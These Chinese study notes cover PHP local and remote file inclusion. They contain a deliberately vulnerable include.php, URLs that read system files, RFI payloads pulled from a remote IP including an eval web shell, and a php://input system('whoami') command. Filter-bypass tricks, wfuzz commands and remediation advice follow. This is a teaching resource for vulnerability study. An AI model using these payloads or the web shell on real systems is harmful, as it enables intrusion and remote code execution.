文件包含
内容为学习笔记,如有侵权,联系删除
文件包含之本地文件包含
本地文件包含 Local File Inclusion :LFI
- 可以固定包含
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Home</title>
</head>
<body>
<h1>这是你第1234次访问本网站</h1>
<p></p>
<p>欢迎下次再来</p>
<?php include 'footer.php';?>
</body>
</html>
- 也可以通过动态接口包含
<?php
$file = $_GET['file'];
if(isset($file)){
include("$file");
}else{
echo "file fail";
}
?>
url:http://localhost/fileinc/include.php?file=footer.php
- 那么就可以利用文件包含去执行木马文件(与文件上传配合)
http://localhost/fileinc/include.php?file=shell.php
- 也可以读取服务器敏感文件
http://localhost/fileinc/include.php?file=C:\Windows\system.ini
文件包含之远程文件包含
远程文件包含:Remote file inclusion:RFI
条件:需要配置php.ini中
allow_url_fopen=On
allow_url_include=On
那么
http://localhost/fileinc/include.php?file=http://远程IP/1.txt
http://localhost/fileinc/include.php?file=http://远程IP/alert.html
http://localhost/fileinc/include.php?file=http://远程IP/shell.php
-
http://localhost/fileinc/include.php?file=http://远程IP/1.txt
1.txt内容
<?php phpinfo(); ?>
-
http://localhost/fileinc/include.php?file=http://远程IP/alert.html
alert.html内容
<script>alert("RWEB")</script>
做弹窗打xss
-
http://localhost/fileinc/include.php?file=http://远程IP/shell.php
<?php @eval($_POST['RWEB']); ?>
执行一句话木马
文件包含之相关函数及伪协议
相关函数
函数 | php手册介绍 | 作用 |
---|---|---|
include() | https://www.php.net/manual/zh/function.include.php | include 语句包含并运行指定文件 |
include_once() | https://www.php.net/manual/zh/function.include-once.php | 只包含一次,不重复包含 |
require() | https://www.php.net/manual/zh/function.require.php | 和include一样,不过出错时会停止 |
require_once() | https://www.php.net/manual/zh/function.require-once.php | 和include_once一样 |
fopen() | https://www.php.net/manual/zh/function.fopen.php | 打开文件或者 URL |
readfile() | https://www.php.net/manual/zh/function.readfile.php | 读取文件并写入到输出缓冲。 |
highlight_file() | https://www.php.net/manual/zh/function.highlight-file.php | 语法高亮一个文件 |
show_source() | https://www.php.net/manual/zh/function.show-source.php | 等于highlight_file() |
file_get_contents() | https://www.php.net/manual/zh/function.file-get-contents.php | 将整个文件读入一个字符串 |
file() | https://www.php.net/manual/zh/function.file.php | 把整个文件读入一个数组中 |
伪协议
php手册介绍https://www.php.net/manual/zh/wrappers.php
协议 | 用途 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问 HTTP(s) 网址 |
ftp:// | 访问 FTP(s) URLs |
php:// | 访问各个输入/输出流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP 归档 |
ssh2:// | Secure Shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
/?file=php://input是一个特殊的输入流,可以用来读取请求主体的原始数据。它通常用于接收POST请求中的原始数据,而不是以表单数据的形式传递。直接在请求包中加入需执行命令php语句即可
<?php system('whoami'); ?>
文件包含之相关绕过
-
校验包含内容
$flie=str_replace(array("http://","https://"),"",$file); //如果出现这些则替换为空
使用双写绕过
http://127.0.0.1/.../?page=hthttp://tp://192.168.0.1/1.txt
也可以使用绝对路径
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=E:\dev_runApp\phpstudy_pro\WWW\dvwa\1.txt
-
匹配参数
if(!fnmatch("file*",$file) && $file !="include.php"){ echo "ERROR"; exit; } //只有文件名前面有一个file时才可包含
使用伪协议中的file协议即可绕过
http://127.0.0.1/.../?page=file:///C:\Windows\system.ini
-
文件白名单
if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php"){ echo "error"; exit; } //只有参数是上述文件太能通过
该类型是一个很好的可以处理文件包含漏洞的方式
文件包含之挖掘与利用
发现
-
URL关键字
URL参数名字出现了page、file、filename、include等等关键字。
URL参数值出现了文件名,比如xxx.php xxx.html 等等。
比如:
?file=content
?page=wuya.asp
?home=wuya.html
-
代码审计
利用
1、发现漏洞
2、上传shell / 读取敏感文件(FUZZ工具)
在kali里root权限
使用fuzz工具即可使用字典自动寻找目标系统有什么文件
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://127.0.0.1/.../?flie=FUZZ
wfuzz --hw 35 -w /usr/share/wordlists/wfuzz/general/common.txt http://127.0.0.1/.../?flie=FUZZ
3、执行恶意代码
工具http://github.com/D35m0nd142/LFISuite
文件包含漏洞之修复方案
-
PHP配置
allow_url_fopen=Off allow_url_include=Off
-
禁用动态包含,使用静态包含固定包含文件
-
过滤协议、目录字符
-
设置文件白名单
if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php"){ echo "error"; exit; } //只有参数是上述文件太能通过
文件包含之与XXE,SSRF区别
漏洞 | 描述 | 原因 | 后果 |
---|---|---|---|
XXE | XML外部实体注入 | 使用XML传输数据,并且允许解析外部实体 | 导致访问敏感文件、探测端口、执行系统命令等等 |
SSRF | 服务端请求伪造 | 因为使用了curl_exec()之类的函数 | 导致端口扫描、攻击内网主机、绕过防火墙、获取敏感信息、访问大文件造成内存溢出、操作Redis等等问题 |
RFI | 远程文件包含 | 使用了include等 | 导致任意文件访问、包含shell代码 |